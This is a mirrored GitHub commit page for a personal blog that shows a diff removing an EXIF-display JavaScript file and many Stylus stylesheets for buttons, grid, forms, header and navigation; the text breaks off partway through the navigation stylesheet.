1
0
mirror of https://github.com/kremalicious/blog.git synced 2024-11-13 16:45:14 +01:00
This commit is contained in:
Matthias Kretschmann 2018-09-12 23:48:59 +02:00
parent c9056e0015
commit b5cf1560f5
Signed by: m
GPG Key ID: 606EEEF3C479A91F
48 changed files with 4 additions and 3756 deletions

View File

@ -1,5 +1,5 @@
{
"semi": false,
"singleQuote": true,
"trailingComma": "none"
}
"semi": false,
"singleQuote": true,
"trailingComma": "none"
}

View File

@ -1,59 +0,0 @@
/* global EXIF */
/* eslint-disable spaced-comment */
//=include exif-js/exif.js
/* eslint-enable spaced-comment */
window.addEventListener('load', getExif, false)
function getExif() {
const image = document.querySelector('.hentry__teaser img')
EXIF.getData(image, function () {
// Get individual data
const modelvalue = EXIF.getTag(this, 'Model')
const shutterspeedvalue = EXIF.getTag(this, 'ExposureTime')
const aperturevalue = EXIF.getTag(this, 'FNumber')
const exposurevalue = EXIF.getTag(this, 'ExposureBias')
const isovalue = EXIF.getTag(this, 'ISOSpeedRatings')
const focallengthvalue = EXIF.getTag(this, 'FocalLength')
// Inject data
if (modelvalue) {
const model = document.querySelector('.exif__model')
model.innerHTML = modelvalue
}
if (shutterspeedvalue) {
const shutterspeed = document.querySelector('.exif__shutterspeed')
shutterspeed.innerHTML = `${shutterspeedvalue.numerator}/${shutterspeedvalue.denominator}s`
}
if (aperturevalue) {
const aperture = document.querySelector('.exif__aperture')
aperture.innerHTML = `ƒ ${aperturevalue}`
}
if (exposurevalue || exposurevalue === 0) {
const exposure = document.querySelector('.exif__exposure')
if (exposurevalue === 0) {
exposure.innerHTML = `+/- ${exposurevalue}`
} else if (exposurevalue > 0) {
exposure.innerHTML = `+ ${exposurevalue}`
} else {
exposure.innerHTML = `- ${exposurevalue}`
}
}
if (isovalue) {
const iso = document.querySelector('.exif__iso')
iso.innerHTML = `ISO ${isovalue}`
}
if (focallengthvalue) {
const focallength = document.querySelector('.exif__focallength')
focallength.innerHTML = `${focallengthvalue}mm`
}
})
}

View File

@ -1,96 +0,0 @@
.actions
@extend .divider-top, .divider-bottom, .small
margin-top: ($spacer * 2)
padding: $spacer 0
.grid
margin-bottom: 0
@media $screen-sm
.grid__col:last-child
display: flex
justify-content: flex-end
.action
padding-left: 32px
display: inline-block
.icon
margin-right: 8px
margin-left: -32px
margin-bottom: -3px
.action__title
font-size: $font-size-base
line-height: $line-height
margin-top: 0
color: $text-color
margin-bottom: 0
display: inline-block
.action__text
display: block
margin-bottom: 0
.donate
.btc
@extend .mini
display: inline-block
width: 80px
white-space: nowrap
overflow: hidden
text-overflow: ellipsis
.vex-bitcoin
@extend .textcenter
.vex-content
max-width: 46em
h4
font-size: $font-size-h5
margin-top: 0
margin-bottom: ($spacer / 4)
color: $brand-grey
.qr
margin-bottom: ($spacer / 2)
pre
@extend .small
margin: 0
position: relative
padding-right: 2.4rem
code
padding: ($spacer / 2)
padding-right: 0
font-size: .65rem
.btn
position: absolute
right: 0
top: 0
bottom: 0
border: 0
box-shadow: none
border-top-left-radius: 0
border-bottom-left-radius: 0
background: alpha($brand-grey, 30%)
svg
width: 1rem
height: 1rem
fill: $brand-grey
transition: .15s ease-out
&:hover
background: alpha($brand-grey, 30%)
svg
fill: $brand-grey-dimmed
&.success
background: darken($alert-success, 50%)
svg
fill: $brand-dark

View File

@ -1,38 +0,0 @@
//
// kremalicious3
// --------------
// Alerts
//
$alert-info = #f7f1e4
$alert-success = #dff0d8
$alert-error = #f2dede
.alert
padding: $spacer
margin-bottom: $spacer
border-radius: $border-radius-base
border: 1px solid transparent
box-shadow: 0 1px 3px rgba($brand-grey, .1), inset 0 1px 0 #fff
> p,
> ul
margin-bottom: 0
> p + p
margin-top: $spacer
.alert-success
color: darken($alert-success, 60%)
background: $alert-success
border-color: darken($alert-success, 10%)
.alert-danger,
.alert-error
color: darken($alert-error, 60%)
background: $alert-error
border-color: darken($alert-error, 10%)
.alert-info
color: darken($alert-info, 60%)
background: $alert-info
border-color: darken($alert-info, 10%)

View File

@ -1,64 +0,0 @@
//
// kremalicious3
// --------------
// Animations
//
// Buttery Smooth(tm)
////////////////////////////////////
gpuacceleration()
-webkit-transform: translate3d(0,0,0)
-webkit-backface-visibility: hidden
-webkit-perspective: 1000
.gpuacceleration
gpuacceleration()
// Slide Up
////////////////////////////////////
@keyframes slideUp
0%
transform: translate3d(0, 100px, 0)
opacity: 0
100%
transform: translate3d(0, 0, 0)
opacity: 1
.animation-slideup
animation: slideUp .2s cubic-bezier(.06,.85,.54,1)
//
// Bounce
//
// taken and adapted from
// http://daneden.github.io/animate.css/
////////////////////////////////////
// Down
@keyframes slideDown
0%
transform: translate3d(0, -100px, 0)
100%
transform: none
.animation-slidedown
animation: slideDown .2s cubic-bezier(.06,.85,.54,1)
// Up
@keyframes bounceOutUp
20%
transform: translate3d(0, -10px, 0)
40%, 45%
transform: translate3d(0, 20px, 0)
100%
transform: translate3d(0, -100px, 0)
.animation-bounceOutUp
animation: bounceOutUp .5s both

View File

@ -1,201 +0,0 @@
//
// kremalicious3
// --------------
// Buttons
//
// Reset default button element
button
padding: 0
cursor: pointer
background: transparent
border: 0
-webkit-appearance: none
&:active
background: $link-color
transition: none
text-shadow: none
.btn,
a.btn
@extend .textcenter
display: inline-block
margin-bottom: 0
font-weight: normal
vertical-align: middle
touch-action: manipulation
cursor: pointer
background-image: none // Reset unusual Firefox-on-Android default style
white-space: nowrap
user-select: none
transition: all .2s ease-in-out
// Default Button
button-size($padding-base-vertical, $padding-base-horizontal, $font-size-small, $line-height, $border-radius-base)
background-color: rgba(255,255,255,.1)
border: 1px solid rgba(94,131,162,.3)
border-bottom-color: rgba(94,131,162,.4)
font-family: $headings-font-family
font-weight: $headings-font-weight
color: $brand-grey
text-transform: uppercase
box-shadow: 0 1px 3px alpha($brand-grey-light, .1), inset 0 1px 0 rgba(255,255,255,.7)
@media $screen-sm
max-width: 20rem
&:hover,
&:focus
outline: 0
background-color: rgba(255,255,255,.5)
&:active
color: $brand-grey
border-color: rgba(94,131,162,.3)
background-color: transparent
box-shadow: 0 1px 0 #fff
transition: none
outline: 0
&:focus
outline: 0
border-color: $input-border-focus
// Disabled State
&.disabled,
&[disabled],
fieldset[disabled] &
cursor: not-allowed
pointer-events: none // Future-proof disabling of clicks
opacity: .6
box-shadow: none
// grid buttons
&.col2,
&.col3
margin-bottom: ($spacer/2)
@media $screen-sm
margin-bottom: 0
span
font-size: .9em
color: rgba(19, 56, 50, .6)
margin-left: .3em
// Primary Button
.btn-primary,
a.btn-primary
color: darken($link-color, 50%)
text-shadow: 0 1px 0 rgba(255,255,255,.3)
background: lighten($link-color, 15%)
border-color: $link-color
box-shadow: 0 1px 3px alpha($brand-grey-light, .4), inset 0 1px 0 rgba(255,255,255,.4)
&:hover,
&:focus
color: darken($link-color, 50%)
background-color: lighten($link-color, 25%)
text-shadow: 0 1px 0 rgba(255,255,255,.3)
&:active
color: darken($link-color, 50%)
border-color: darken($link-color, 10%)
background-color: lighten($link-color, 15%)
.more-link
font-family: $headings-font-family
font-weight: $headings-font-weight
font-size: $font-size-small
color: $link-color
text-transform: uppercase
// icon
.icon
top: .15em
position: relative
width: 18px
height: 18px
.btn-block
display: block
// Close button
/////////////////////////////////////
.close
@extend .textcenter, .transition
display: block
color: lighten($brand-grey-light, 50%)
line-height: 1
font-size: $font-size-large
padding: 3px
cursor: pointer
button.&
cursor: pointer
background: transparent
border: 0
-webkit-appearance: none
&:hover,
&:focus
color: lighten($brand-grey-light, 20%)
cursor: pointer
outline: 0
&:active
background: none
color: $brand-grey-light
transition: none
// some helper classes for old content
/////////////////////////////////////
.content-download
@extend .grid, .grid--gutters
text-align: center
display: block
margin-top: 0
@media $screen-xs
display: flex
margin-top: -($gutter-space)
a
@extend .btn, .grid__col
margin: $gutter-space 0 0 $gutter-space
&:only-child
margin-left: auto
margin-right: auto
span
font-size: $font-size-mini
color: $text-color-light
.icon-download,
.icon-heart,
.icon-wordpress,
.icon-github,
.icon-eye
&:before
content: ""
width: 18px
height: 18px
display: inline-block
margin-right: 5px
margin-bottom: -3px
opacity: .35
background: url('/assets/img/arrow-with-circle-down.svg') no-repeat left center
.icon-heart:before
background-image: url('/assets/img/heart.svg')
.icon-github:before
background-image: url('/assets/img/github.svg')
.icon-eye:before
background-image: url('/assets/img/eye.svg')

View File

@ -1,62 +0,0 @@
//
// kremalicious3
// --------------
// Content - Featured Posts
//
.featured
@extend .breakoutviewport
padding-bottom: $spacer
.grid
margin-bottom: 0
@media $screen-sm
padding-bottom: ($spacer*3)
.hentry__teaser
max-width: 100%;
@media $screen-xs
margin-left: 0
margin-right: 0
.featured-link
@extend .link--nounderline
display: block
position: relative
&:hover,
&:focus
img
border-color: $link-color
.featured-title
@extend .transition
transition-property: transform, opacity
margin: 0
position: absolute
top: 25%
min-width: 45%
text-align: right
font-family: $headings-font-family
font-weight: $headings-font-weight
font-style: normal
font-size: $font-size-small
padding: ($spacer/3)
background: $link-color
background: alpha($link-color, .85)
color: #fff
text-shadow: 0 1px 0 #000
left: 0
opacity: 0
transform: translate3d(0, -20px, 0)
.featured-link:hover &
opacity: 1
transform: translate3d(0, 0, 0)
img.featured-image
display: block
margin-bottom: 0

View File

@ -1,24 +0,0 @@
//
// kremalicious3
// --------------
// Content - Link Post
//
.linkurl
@extend .text-dimmed, .ellipsis, .aligncenter
font-family: $font-family-base
font-size: $font-size-mini
padding: ($spacer/3) 0
max-width: 70%
@media $screen-sm
max-width: 50%
.permalink-link
@extend .alignright
.icon
fill: $link-color
width: 18px
&:hover .icon
fill: $link-color-hover

View File

@ -1,103 +0,0 @@
//
// kremalicious3
// --------------
// Content - Photo Post
//
.hentry.format-photo
@extend .textcenter
.entry-title
margin-bottom: 0
figure
position: relative
display: inline-block
img,
figcaption
margin-bottom: 0
figcaption
@extend .transition, .h4
transition-property: transform, opacity
position: absolute
min-width: 45%
text-align: right
padding: ($spacer/3)
background: $link-color
background: alpha($link-color, .7)
color: #fff
text-shadow: 0 1px 0 #000
left: 0
top: $spacer * 4
opacity: 0
transform: translate3d(0, -20px, 0)
&:hover figcaption
opacity: 1
transform: translate3d(0, 0, 0)
.entry-content
text-align: left
margin-top: $spacer
.page-single &
padding-top: 0
padding-bottom: ($spacer*3)
@media $screen-sm
padding-top: 0
padding-bottom: ($spacer*6)
figure img
max-height: none
.photo-link
display: block;
img
@extend .media-frame
&,
&:hover,
&:focus,
&:active
box-shadow: none
&:hover,
&:focus
img
border-color: $link-color-hover
border-radius: $border-radius-base
&:active
background: none
//
// EXIF metadata display
//
.exif
@extend .small, .text-dimmed
text-align: left
position: absolute
bottom: -($spacer * 1.25)
left: $spacer
right: $spacer
.container
display: flex
flex-wrap: wrap
justify-content: space-between
//
// Photo background change adjustment
//
.ab-dark
.entry-content
@extend .text-dimmed
.byline, time, .comments
color: $text-color-light

View File

@ -1,48 +0,0 @@
//
// kremalicious3
// --------------
// Content - Related Posts
//
.related-posts
.grid
margin-top: 0
.related-posts-title
@extend .heading-band, .h3
margin-bottom: $spacer
.related-post
img
@extend .media-frame
.post-title
@extend .h5, .transition, .text-dimmed
margin-top: ($spacer / 3)
margin-bottom: 0
padding: 0 2px
.post-title-link
@extend .transition, .link--nounderline
display: block
&:hover,
&:focus
.post-title
color: $link-color
img
border-color: $link-color-hover
&:active
.post-title
color: #fff
transition: none
//
// Related Photos
//
.related-photos
@extend .divider-top
margin-top: $spacer * 2
padding-top: $spacer * 3

View File

@ -1,204 +0,0 @@
//
// kremalicious3
// --------------
// Generic Content
//
// Page Title
/////////////////////////////////////
.page-title
@extend .h2, .heading-band
color: $brand-grey-light
margin-top: -($spacer*2)
margin-bottom: $spacer
.hash
@extend .h3
color: darken($page-bg, 15%)
margin-right: 2px
.hentry
@extend .divider-bottom
padding-top: ($spacer*2)
padding-bottom: ($spacer*2)
width: 100%
&:first-child
padding-top: 0
@media $screen-sm
padding-top: ($spacer*3)
padding-bottom: ($spacer*3)
.page-single &
border: none
&:before
@extend .hide
// Post Header
/////////////////////////////////////
.entry-header
.page-single &
@media $screen-md
breakoutviewport()
// Post Title
/////////////////////////////////////
.entry-title
@extend .h1, .textcenter
color: $headings-color
margin-top: 0
margin-bottom: $spacer
a
@extend .link--nounderline
.format-link &
@extend .h3
// Post Lead
/////////////////////////////////////
.entry-lead
@extend .large, .textcenter
color: $brand-grey
line-height: $line-height-large
// Post/photo teaser
/////////////////////////////////////
.hentry__teaser
@extend .breakoutviewport
max-width: none
display: block
margin-top: ($spacer*1.5)
margin-bottom: ($spacer*1.5)
img
@extend .media-frame
border-radius: 0
@media $screen-sm
border-radius: $border-radius-base
.hentry__teaser--link
&:hover,
&:focus
img
border-color: $link-color
// Post Content
/////////////////////////////////////
.entry-content
h1,
h2
@extend .heading-band
h1
@extend .h2
h2
@extend .h3
h3
@extend .h4
p:last-child
margin-bottom: 0
// Post meta
/////////////////////////////////////
.entry-meta
@extend .small
margin-top: ($spacer*2)
a
@extend .link--nounderline
.byline,
.time,
.tags,
.categories
@extend .textcenter
.byline,
.time
@extend .text-dimmed, .italic
.byline
margin-bottom: 0
.by
display: block
.time
margin-bottom: ($spacer*2)
// Categories & Tags
/////////////////////////////////////
.categories
margin-bottom: ($spacer/2)
.category
@extend .h6, .textcenter, .mini, .link--nounderline
color: $text-color
line-height: 1
text-transform: uppercase
border: 1px solid $text-color
border-radius: $border-radius-base
padding: 4px 8px
margin: 0
display: inline-block
&:hover,
&:focus
color: $link-color
border-color: $link-color
&:active
background: $link-color
top: 0
color: #fff
.tag
@extend .link--nounderline
color: $text-color
margin-right: 5px
&:before
@extend .text-dimmed
content: '#'
margin-right: 1px
.avatar
width: 80px
height: 80px
border-radius: 80px
border: 2px solid #fff
// Goodies download
/////////////////////////////////////
.goodie-actions
@extend .aligncenter
max-width: 640px
p,
.btn
margin-bottom: 0
.btn
display: block

View File

@ -1,97 +0,0 @@
//
// kremalicious3
// --------------
// Footer
//
.site__footer
@extend .textcenter
padding-top: ($spacer*2)
.avatar
margin-bottom: ($spacer / 2)
&,
.footer-description
color: $text-color-light
line-height: $spacer
a
@extend .link--nounderline
.footer-description
@extend .h5
margin-top: 0
margin-bottom: ($spacer / 4)
a
display: block
.footer-copyright
@extend .divider-top
padding-top: $spacer
padding-bottom: $spacer
p
margin-bottom: 0
font-size: $font-size-mini
.icon
width: 15px
height: 15px
margin-right: .2em
margin-bottom: -2px
// Subscribe component
.subscribe
margin: $spacer auto
p
@extend .textcenter
margin: 0
.link
@extend .textcenter, .link--nounderline
width: 2rem
padding: $padding-small-vertical
margin: 0
display: inline-block
color: $text-color-light
&:first-child
margin-left: 0
&:last-child
margin-right: 0
.icon
transition: color .3s ease-in-out
display: block
margin: 0 auto
.rss:hover .icon
fill: #e15a00
.json:hover .icon
fill: #8BE028
.twitter:hover .icon
fill: #019ad2
.google:hover .icon
fill: #c63b1e
.facebook:hover .icon
fill: #3b5998
.github:hover .icon
fill: #333
.subscribe-title
@extend .h5, .text-dimmed
margin-bottom: ($spacer/2)
.footer__btc
margin-left: ($spacer / 2)
.icon
width: 10px
margin-right: 0
code
font-size: .55rem
background: none
color: $link-color
padding: 0

View File

@ -1,189 +0,0 @@
//
// kremalicious3
// --------------
// Forms
//
// Normalize non-controls
/////////////////////////////////////
fieldset
padding: 0
margin: 0
border: 0
min-width: 0
legend
display: block
width: 100%
padding: 0
margin-bottom: $spacer
font-size: ($font-size-base * 1.5)
line-height: inherit
border: 0
label
@extend .bold
display: inline-block
margin-bottom: 5px
cursor: pointer
// Normalize form controls
/////////////////////////////////////
// Override content-box in Normalize (* isn't specific enough)
input[type="search"]
box-sizing: border-box
// Position radios and checkboxes better
input[type="radio"],
input[type="checkbox"]
margin: 4px 0 0
margin-top: 1px \9 // IE8-9
line-height: normal
// Set the height of file controls to match text inputs
input[type="file"]
display: block
// Make range inputs behave like textual form controls
input[type="range"]
display: block
width: 100%
// Make multiple select elements height not fixed
select[multiple],
select[size]
height: auto
// Common form controls
/////////////////////////////////////
.form-control
display: block
width: 100%
padding: $padding-base-vertical $padding-base-horizontal
font-size: $input-font-size
font-weight: $input-font-weight
line-height: $line-height
color: $input-color
background-color: $input-bg
background-image: none // Reset unusual Firefox-on-Android default style
border: 0
border-radius: $input-border-radius
box-shadow: none
transition: all ease-in-out .15s
-webkit-appearance: none // screw you, iOS default inset box-shadow
// Placeholder
placeholder($input-color-placeholder)
&:hover
lighten($input-bg, 30%)
&:focus
background-color: $input-bg-focus
border-color: $input-border-focus
outline: 0
placeholder(lighten($input-color-placeholder, 25%))
// Disabled and read-only inputs
//
// HTML5 says that controls under a fieldset > legend:first-child won't be
// disabled if the fieldset is disabled. Due to implementation difficulty, we
// don't honor that edge case; we style them as disabled anyway.
&[disabled],
&[readonly],
fieldset[disabled] &
cursor: not-allowed
background-color: $input-bg-disabled
opacity: 1 // iOS fix for unreadable disabled content
// Form groups
/////////////////////////////////////
.form-group
margin-bottom: $spacer
// Search inputs
/////////////////////////////////////
input[type="search"]
-webkit-appearance: none // This overrides the extra rounded corners on search inputs in iOS
// Checkboxes and radios
/////////////////////////////////////
.radio,
.checkbox
display: block
min-height: $spacer // clear the floating input if there is no label text
margin-top: 10px
margin-bottom: 10px
label
padding-left: 20px
margin-bottom: 0
font-weight: normal
cursor: pointer
.radio input[type="radio"],
.radio-inline input[type="radio"],
.checkbox input[type="checkbox"],
.checkbox-inline input[type="checkbox"]
float: left
margin-left: -20px
.radio + .radio,
.checkbox + .checkbox
margin-top: -5px // Move up sibling radios or checkboxes for tighter spacing
// Radios and checkboxes on same line
.radio-inline,
.checkbox-inline
display: inline-block
padding-left: 20px
margin-bottom: 0
vertical-align: middle
font-weight: normal
cursor: pointer
.radio-inline + .radio-inline,
.checkbox-inline + .checkbox-inline
margin-top: 0
margin-left: 10px // space out consecutive inline controls
// Disabled Behavior
input[type="radio"],
input[type="checkbox"],
.radio,
.radio-inline,
.checkbox,
.checkbox-inline
&[disabled],
fieldset[disabled] &
cursor: not-allowed
// Form control sizing
/////////////////////////////////////
input-small()
input-size($padding-small-vertical, $padding-small-horizontal, $font-size-small, $line-height-small, $border-radius-small)
placeholder(font-size $font-size-small, line-height $line-height-small)
input-large()
input-size($padding-large-vertical, $padding-large-horizontal, $font-size-large, $line-height-large, $border-radius-large)
placeholder(font-size $font-size-large, line-height $line-height-large)
.input-small
input-small()
.input-large
input-large()

View File

@ -1,217 +0,0 @@
//
// kremalicious3
// --------------
// Grid
//
*,
*:before,
*:after
box-sizing: border-box
//
// Base
//
.grid
display: flex
flex-wrap: wrap
list-style: none
margin: 0
padding: 0
.grid__col
flex: 1
// Firefox grid fix for whatever reason
min-height: 0
min-width: 0
//
// Alignment per row
//
.grid--top
align-items: flex-start
.grid--bottom
align-items: flex-end
.grid--center
align-items: center
.grid--justifycenter
justify-content: center
//
// Alignment per cell
//
.grid__col--top
align-self: flex-start
.grid__col--bottom
align-self: flex-end
.grid__col--center
align-self: center
//
// Gutters
//
.grid--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
@media $screen-xs
.grid-small--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
@media $screen-sm
.grid-medium--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
@media $screen-lg
.grid-large--gutters
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
> .grid__col
padding: $gutter-space 0 0 $gutter-space
//
// Columns
//
.grid--fit
> .grid__col
flex: 1
.grid--full
> .grid__col
flex: 0 0 100%
.grid--1of6
> .grid__col
flex: 0 0 16.5%
.grid--2of6,
.grid--third
> .grid__col
flex: 0 0 33.3333%
.grid--3of6,
.grid--half
> .grid__col
flex: 0 0 50%
.grid--4of6
> .grid__col
flex: 0 0 66%
.grid--5of6
> .grid__col
flex: 0 0 82.5%
@media $screen-xs
.grid-small--fit
> .grid__col
flex: 1
.grid-small--full
> .grid__col
flex: 0 0 100%
.grid-small--1of6
> .grid__col
flex: 0 0 16.5%
.grid-small--2of6,
.grid-small--third
> .grid__col
flex: 0 0 33.3333%
.grid-small--3of6,
.grid-small--half
> .grid__col
flex: 0 0 50%
.grid-small--4of6
> .grid__col
flex: 0 0 66%
.grid-small--5of6
> .grid__col
flex: 0 0 82.5%
@media $screen-sm
.grid-medium--fit
> .grid__col
flex: 1
.grid-medium--full
> .grid__col
flex: 0 0 100%
.grid-medium--1of6
> .grid__col
flex: 0 0 16.5%
.grid-medium--2of6,
.grid-medium--third
> .grid__col
flex: 0 0 33.3333%
.grid-medium--3of6,
.grid-medium--half
> .grid__col
flex: 0 0 50%
.grid-medium--4of6
> .grid__col
flex: 0 0 66%
.grid-medium--5of6
> .grid__col
flex: 0 0 82.5%
@media $screen-lg
.grid-large--fit
> .grid__col
flex: 1
.grid-large--full
> .grid__col
flex: 0 0 100%
.grid-large--1of6
> .grid__col
flex: 0 0 16.5%
.grid-large--2of6,
.grid-large--third
> .grid__col
flex: 0 0 33.3333%
.grid-large--3of6,
.grid-large--half
> .grid__col
flex: 0 0 50%
.grid-large--4of6
> .grid__col
flex: 0 0 66%
.grid-large--5of6
> .grid__col
flex: 0 0 82.5%

View File

@ -1,47 +0,0 @@
.hamburger
@extend .transition
width: 18px
height: 18px
position: relative
transform: rotate(0deg)
cursor: pointer
margin-top: 6px
span
@extend .transition
display: block
position: absolute
height: 3px
width: 100%
background: $text-color-light
border-radius: 20px
opacity: 1
left: 0
transform: rotate(0deg)
&:nth-child(1)
top: 0px
transform-origin: left center
&:nth-child(2)
top: 5px
transform-origin: left center
&:nth-child(3)
top: 10px
transform-origin: left center
// open state
.has-menu-open &
&:nth-child(1)
transform: rotate(45deg)
top: -1px
&:nth-child(2)
width: 0%
opacity: 0
&:nth-child(3)
transform: rotate(-45deg)
top: 12px

View File

@ -1,73 +0,0 @@
//
// kremalicious3
// --------------
// Header
//
.site__header
margin-top: ($spacer/2)
margin-bottom: ($spacer/2)
@media $screen-sm
margin-top: $spacer
margin-bottom: $spacer
.grid
@extend .breakoutviewport
padding-left: $spacer
padding-right: $spacer
position: relative
@media $screen-md
padding-left: 0
padding-right: 0
> .banner,
> .nav-main
padding-top: 0
// Logo
/////////////////////////////////////
.logo
display: block
background-image: url('../img/logo.png')
background-repeat: no-repeat
background-position: left top
width: 47px
height: 31px
@media $screen-sm
width: 183px
@media $highDPI
background-image: url('../img/logo@2x.png')
background-size: 183px 62px
@media $highDPI_3x
background-image: url('../img/logo@3x.png')
background-size: 183px 62px
.header__title
margin: 0
// display toned down logo
// by default
@extend .logo
.header__logo
@extend .ir, .link--nounderline
// repeat logo
// but display hover version
@extend .logo
background-position: left bottom
// hide by default
opacity: 0
// show smooooothly on hover
&:hover
opacity: 1
&:active
top: 0

View File

@ -1,23 +0,0 @@
//
// kremalicious3
// --------------
// Icons
//
svg
&.icon
@extend .transition
height: 20px
width: 20px
display: inline-block
fill: $text-color-light
vertical-align: baseline
.btn &
height: 18px
width: 18px
margin: 4px 4px -3px 4px
// Fix jQuery bug: http://bugs.jquery.com/ticket/11352
use
pointer-events: none

View File

@ -1,92 +0,0 @@
//
// kremalicious3
// --------------
// Layout
//
.site__content,
.header__content
.footer__content
padding: 0 $spacer
width: 100%
@media $screen-md
padding: 0 ($spacer * 2)
.container
max-width: 35rem
margin-left: auto
margin-right: auto
.site__document
padding-top: ($spacer*2)
@media $screen-md
padding-top: ($spacer*3)
// topbar and footer as fixed
// site background
/////////////////////////////////////
.site__document
background-color: $page-bg
border-top: 1px solid rgba(255,255,255,.7)
border-bottom: 1px solid rgba(255,255,255,.7)
box-shadow: 0 1px 4px alpha($brand-dark, .1), 0 -1px 4px alpha($brand-dark, .2)
transform: translate3d(0,-($spacer*7.7),0)
@media $screen-xs
transform: translate3d(0,-($spacer*7.2),0)
@media $screen-sm
transform: translate3d(0,-($spacer*6),0)
@media $screen-md
transform: translate3d(0,-($spacer*5),0)
.has-menu-open &
transform: translate3d(0,0,0)
.site__footer
margin-top: -($spacer*6.5)
@media $screen-md
margin-top: 0
.has-menu-open &
margin-top: 0
@media $screen-md and (min-height: 650px)
.site
position: relative
.site__document
@extend .transition
position: relative
z-index: 2
margin-bottom: 32rem
transform: translate3d(0,($spacer*3),0)
.has-menu-open &
transform: translate3d(0,($spacer*8),0)
.site__header,
.site__footer
position: fixed
border: none
width: 100%
.site__header
z-index: 1
top: 0
border: none
.site__footer
z-index: 0
bottom: 0
box-shadow: none
.has-menu-open &
hide()

View File

@ -1,53 +0,0 @@
//
// kremalicious3
// --------------
// Media
//
// Responsive Media
/////////////////////////////////////
figure, img, svg, video, audio, embed, canvas, picture
max-width: 100%
height: auto
margin: 0 auto
display: block
border-radius: $border-radius-base
// Images
/////////////////////////////////////
img
vertical-align: middle
// Media Positioning
/////////////////////////////////////
img.alignleft,
img.alignright,
img.aligncenter
float: none
display: block
margin: $spacer auto
@media $screen-sm
img.alignleft
margin: 0 $spacer $spacer 0
img.alignright
margin: 0 0 $spacer $spacer
// Image frame style
/////////////////////////////////////
.media-frame
@extend .transition
border-top: 2px solid transparent
border-bottom: 2px solid transparent
border-radius: $border-radius-base
box-shadow: 0 1px 3px alpha($brand-grey,.2)
@media $screen-sm
border: 2px solid transparent

View File

@ -1,265 +0,0 @@
//
// kremalicious3
// --------------
// Mixins
//
// Micro Clearfix
/////////////////////////////////////
clearfix()
&:before,
&:after
content: " "
display: table
&:after
clear: both
.clearfix
clearfix()
// Floats
/////////////////////////////////////
alignright()
float: right
alignleft()
float: left
.alignright
alignright()
.alignleft
alignleft()
// Centering Blocks
/////////////////////////////////////
aligncenter()
display: block
margin-left: auto
margin-right: auto
.aligncenter
aligncenter()
// Centering Text
/////////////////////////////////////
textcenter()
text-align: center
.textcenter
textcenter()
// Toggling content
/////////////////////////////////////
// Hide from both screenreaders and browsers: h5bp.com/u
hide()
display: none !important
visibility: hidden
show()
display: block
visibility: visible
.hide
hide()
.show
show()
// Hide only visually, but have it available for screenreaders: h5bp.com/v
visuallyhidden()
border: 0
clip: rect(0 0 0 0)
height: 1px
margin: -1px
overflow: hidden
padding: 0
position: absolute
width: 1px
// Extends the .visuallyhidden class to allow the
// element to be focusable when navigated to via the keyboard: h5bp.com/p
&.focusable:active,
&.focusable:focus
clip: auto
height: auto
margin: 0
overflow: visible
position: static
width: auto
.visuallyhidden
visuallyhidden()
// Hide visually and from screenreaders, but maintain layout
.invisible
visibility: hidden
// CSS image replacement
/////////////////////////////////////
.ir,
.hide-text
font: 0/0 a
color: transparent
text-shadow: none
background-color: transparent
border: 0
// Text overflow
/////////////////////////////////////
ellipsis()
text-overflow: ellipsis
overflow: hidden
white-space: nowrap
.ellipsis
ellipsis()
// Default transition
/////////////////////////////////////
transition()
transition: all ease-in-out .15s
.transition
transition()
// Dashed Dividers
/////////////////////////////////////
.divider-top,
.divider-bottom
position: relative
&:before
content: ""
position: absolute
left: 0
height: 1px
.divider-top
border-top: 1px dashed #afc3cb
padding-top: 1em
&:after
content: ""
position: absolute
left: 0
height: 1px
top: 0
width: 100%
border-top: 1px dashed #fff
.divider-bottom
border-bottom: 1px dashed #afc3cb
padding-bottom: 1em
&:before
bottom: -2px
width: 100%
border-bottom: 1px dashed #fff
// Heading band
/////////////////////////////////////
.heading-band
display: inline-block
clear: both
background: rgba(255,255,255,.5)
padding: ($spacer/2) $spacer ($spacer/2) 100%
margin-left: -100%
// Lead paragraph
/////////////////////////////////////
.lead
font-size: $font-size-large
line-height: ($spacer*1.15)
// Layout breakout
/////////////////////////////////////
breakoutviewport()
margin-left: calc(-50vw + 50%)
margin-right: calc(-50vw + 50%)
@media $screen-md
breakoutviewport--base()
breakoutviewport--base()
margin-left: -($gutter-space * 4)
margin-right: -($gutter-space * 4)
breakoutviewport--full()
margin-left: calc(-50vw + 50%)
margin-right: calc(-50vw + 50%)
.breakoutviewport
breakoutviewport()
.breakoutviewport--base
breakoutviewport--base()
.breakoutviewport--full
breakoutviewport--full()
// Button sizing
/////////////////////////////////////
button-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
padding: padding-vertical padding-horizontal
font-size: font-size
line-height: line-height
border-radius: border-radius
// Form control sizing
/////////////////////////////////////
input-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
padding: padding-vertical padding-horizontal
font-size: font-size
line-height: line-height
border-radius: border-radius
input[type="search"]&
background-size: font-size
background-position: padding-vertical center
padding-left: (padding-vertical*4)
select&
line-height: input-height
textarea&,
select[multiple]&
height: auto
// Placeholder text
/////////////////////////////////////
placeholder($color = $input-color-placeholder)
&::-moz-placeholder // Firefox
color $color
opacity 1 // Override Firefox's unusual default opacity; See https//github.com/twbs/bootstrap/pull/11526
&:-ms-input-placeholder // Internet Explorer 10+
color $color
&::-webkit-input-placeholder // Safari and Chrome
color $color

View File

@ -1,105 +0,0 @@
//
// kremalicious3
// --------------
// Navigation
//
.menu-btn,
.search-btn
@extend .textcenter
line-height: 1em
vertical-align: middle
display: inline-block
margin: 0
position: absolute
right: $spacer
top: -($spacer/4)
@media $screen-md
right: 0
&:focus
outline: 0
&:hover,
&:focus
.icon
fill: $link-color
.hamburger span
background: $link-color
&:active
background: transparent
transition: none
.icon
fill: darken($link-color, 30%)
.hamburger span
background: darken($link-color, 30%)
.menu-btn
margin-right: -.5em
padding: .5em .7em
// Main Navigation
/////////////////////////////////////
.nav-popover
@extend .divider-top, .list-unstyled
padding: $spacer 0
margin-top: $spacer
margin-bottom: 0
display: flex // .nav-popver overwrite
margin-left: 0 // .grid overwrite
.grid__col
padding-top: 0
opacity: 0
.has-menu-open &
